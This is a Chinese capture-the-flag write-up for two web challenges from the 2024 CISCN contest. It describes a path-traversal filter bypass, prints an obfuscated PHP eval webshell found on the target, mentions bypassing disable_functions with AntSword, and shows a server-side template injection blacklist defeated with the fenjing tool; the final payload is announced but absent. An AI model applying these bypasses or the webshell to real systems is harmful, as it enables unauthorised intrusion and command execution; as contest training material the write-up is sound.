2024CISCN暨长城杯初赛个人题解
hello_web
进入题目后F12打开控制台,可以得到两个文件,分别是hackme.php和tips.php,尝试用file参数进行读取,直接读取和php伪协议读取都无法读到,多次尝试后发现可以使用双写绕过读取。
传入file=…/./tips.php得到了phpinfo,可以看到 disable_functions 中过滤了许多函数

可以推测是disable_functions绕过,然后传入file=…/./hackme.php查看hackme.php文件,得到php代码如下
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
将这段代码反混淆后可以得到一个密码是cmd[66.99的木马文件,用蚁剑直接连接执行命令会得到ret=127,确定了是disable_functions的绕过使用绕过disable_functions插件,使用UserFilter模式直接获取可执行命令的shell,搜索flag然后cat即可

Safe_Proxy
进入题目后可以得到源码,将代码复制到本地后修改如下代码,将其从无回显的改成有回显的
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return result
然后在本地启动服务,用fenjing直接获取可以命令执行的payload,但由于原题无回显,反弹shell也失败,故使用>>将命令执行返回的结果输出到app.py中,最终payload如下

然后返回根目录,拉到最底下即可得到flag


3770

被折叠的 条评论
为什么被折叠?



